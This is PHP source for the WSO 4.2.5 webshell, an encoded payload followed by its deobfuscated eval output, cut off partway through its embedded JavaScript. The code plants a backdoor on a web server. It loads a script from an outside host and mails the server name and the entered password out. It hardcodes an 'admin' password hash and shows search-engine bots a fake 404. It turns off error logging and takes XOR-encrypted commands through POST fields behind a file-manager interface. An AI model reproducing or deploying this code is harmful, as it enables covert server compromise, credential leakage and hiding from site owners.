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";
    eval /* PHPDeobfuscator eval output */ {
        echo "<script src=\"http://www.r57.gen.tr/yazciz/ciz.js\"></script>";
        //--------------Watching webshell!--------------
        if (array_key_exists('watching', $_POST)) {
            $tmp = $_SERVER['SERVER_NAME'] . $_SERVER['PHP_SELF'] . "\n" . $_POST['pass'];
            @mail('', 'root', $tmp);
            // Edit or delete!
        }
        //-----------------Password---------------------
        $▛ = "21232f297a57a5a743894a0e4a801fc3";
        //admin
        $▘ = true;
        $▜ = 'UTF-8';
        $▚ = 'FilesMan';
        $▙ = md5($_SERVER['HTTP_USER_AGENT']);
        if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"])) {
            prototype(md5($_SERVER['HTTP_HOST']) . "key", $▙);
        }
        if (empty($_POST['charset'])) {
            $_POST['charset'] = $▜;
        }
        if (!isset($_POST['ne'])) {
            if (isset($_POST['a'])) {
                $_POST['a'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['a'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
            }
            if (isset($_POST['c'])) {
                $_POST['c'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['c'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
            }
            if (isset($_POST['p1'])) {
                $_POST['p1'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p1'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
            }
            if (isset($_POST['p2'])) {
                $_POST['p2'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p2'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
            }
            if (isset($_POST['p3'])) {
                $_POST['p3'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p3'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
            }
        }
        function decrypt($str, $pwd)
        {
            $pwd = base64_encode($pwd);
            $str = base64_decode($str);
            $enc_chr = "";
            $enc_str = "";
            $i = 0;
            while ($i < strlen($str)) {
                for ($j = 0; $j < strlen($pwd); $j++) {
                    $enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j]));
                    $enc_str .= $enc_chr;
                    $i++;
                    if ($i >= strlen($str)) {
                        break;
                    }
                }
            }
            return base64_decode($enc_str);
        }
        @ini_set('error_log', NULL);
        @ini_set('log_errors', 0);
        @ini_set('max_execution_time', 0);
        @set_time_limit(0);
        if (true) {
            @set_magic_quotes_runtime(0);
        }
        @define('VERSION', '4.2.5');
        if (get_magic_quotes_gpc()) {
            function stripslashes_array($array)
            {
                return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
            }
            $_POST = stripslashes_array($_POST);
            $_COOKIE = stripslashes_array($_COOKIE);
        }
        prototype(md5($_SERVER['HTTP_HOST']), $▛);
        /* (С) 11.2011 oRb */
        // if(!empty($▛)) {
        //     // if(isset($_POST['pass']) && (md5($_POST['pass']) == $▛)){
        //     if(isset($_POST['pass'])){
        // 		var_dump($_POST);
        // 		prototype(md5($_SERVER['HTTP_HOST']), $▛);
        // 	}
        //     if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $▛))
        //         hardLogin();
        // }
        if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) {
            $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool) $▘;
        }
        function hardLogin()
        {
            if (!empty($_SERVER['HTTP_USER_AGENT'])) {
                $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
                if (preg_match("/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler/i", $_SERVER['HTTP_USER_AGENT'])) {
                    header('HTTP/1.0 404 Not Found');
                    exit;
                }
            }
            die("<pre align=center><form method=post>Password<br><input type=password name=pass style='background-color:whitesmoke;border:1px solid #FFF;outline:none;' required><input type=submit name='watching' value='submit' style='border:none;background-color:#56AD15;color:#fff;cursor:pointer;'></form></pre>");
        }
        if (strtolower("PHP") == "win") {
            $os = 'win';
        } else {
            $os = 'nix';
        }
        $safe_mode = @ini_get('safe_mode');
        if (!$safe_mode) {
            error_reporting(0);
        }
        $disable_functions = @ini_get('disable_functions');
        $home_cwd = @getcwd();
        if (isset($_POST['c'])) {
            @chdir($_POST['c']);
        }
        $cwd = @getcwd();
        if ($os == 'win') {
            $home_cwd = str_replace("\\", "/", $home_cwd);
            $cwd = str_replace("\\", "/", $cwd);
        }
        if ($cwd[strlen($cwd) - 1] != '/') {
            $cwd .= '/';
        }
        /* (С) 04.2015 Pirat */
        function hardHeader()
        {
            if (empty($_POST['charset'])) {
                $_POST['charset'] = $GLOBALS['▜'];
            }
            echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . VERSION . "</title>\n<style>\n\tbody {background-color:#060A10; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;}\n\t#particles-js{width: 100%; height: 100px; background-color: #060a10; background-image: url(''); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;}\n\tbody,td,th\t{font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}\n\ttable.info\t{color:#C3C3C3;}\n\ttable#toolsTbl {background-color: #060A10;}\n\tspan,h1,a\t{color:#fff !important;}\n\tspan\t\t{font-weight:bolder;}\n\th1\t\t\t{border-left:5px solid #2E6E9C;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px;}\n\tdiv.content\t{padding:5px;margin-left:5px;background-color:#060a10;}\n\ta\t\t\t{text-decoration:none;}\n\ta:hover\t\t{text-decoration:underline;}\n\t.tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}\n\t.tooltip:hover::after {opacity:1;visibility:visible;}\n\t.ml1\t\t{border:1px solid #202832;padding:5px;margin:0;overflow:auto;}\n\t.bigarea\t{min-width:100%;max-width:100%;height:400px;}\n\tinput, textarea, select\t{margin:0;color:#fff;background-color:#202832;border:none;font:9pt Courier New;outline:none;}\n\tlabel {position:relative}\n\tlabel:after {content:'<>';font:10px 'Consolas', monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}\n\tlabel:before {content:'';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}\n\tform\t\t{margin:0px;}\n\t#toolsTbl\t{text-align:center;}\n\t#fak \t\t{background:none;}\n\t#fak td \t{padding:5px 0 0 0;}\n\tiframe\t\t{border:1px solid #060a10;}\n\t.toolsInp\t{width:300px}\n\t.main th\t{text-align:left;background-color:#060a10;}\n\t.main tr:hover{background-color:#354252;}\n\t.main td, th{vertical-align:middle;}\n\tinput[type='submit']{background-color:#2E6E9C;}\n\tinput[type='button']{background-color:#2E6E9C;}\n\tinput[type='submit']:hover{background-color:#56AD15;}\n\tinput[type='button']:hover{background-color:#56AD15;}\n\t.l1\t\t\t{background-color:#202832;}\n\tpre\t\t\t{font:9pt Courier New;}\n</style>\n<script>\n    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';\n    var a_ = '" . htmlspecialchars(@$_POST['a']) . "'\n    var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';\n    var p1_ = '" . (strpos(@$_POST['p1'], "\n") !== false ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';\n    var p2_ = '" . (strpos(@$_POST['p2'], "\n") !== false ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';\n    var p3_ = '" . (strpos(@$_POST['p3'], "\n") !== false ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';\n    var d = document;\n\t\n\tfunction encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}\n\tfunction utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return 